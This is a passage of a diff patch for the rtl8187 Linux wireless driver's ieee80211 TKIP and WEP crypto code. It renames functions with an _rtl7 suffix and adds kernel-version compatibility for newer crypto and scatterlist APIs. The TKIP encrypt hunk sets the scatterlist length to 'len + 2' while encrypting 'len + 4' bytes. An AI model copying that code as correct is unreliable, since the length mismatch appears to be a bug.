*TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct 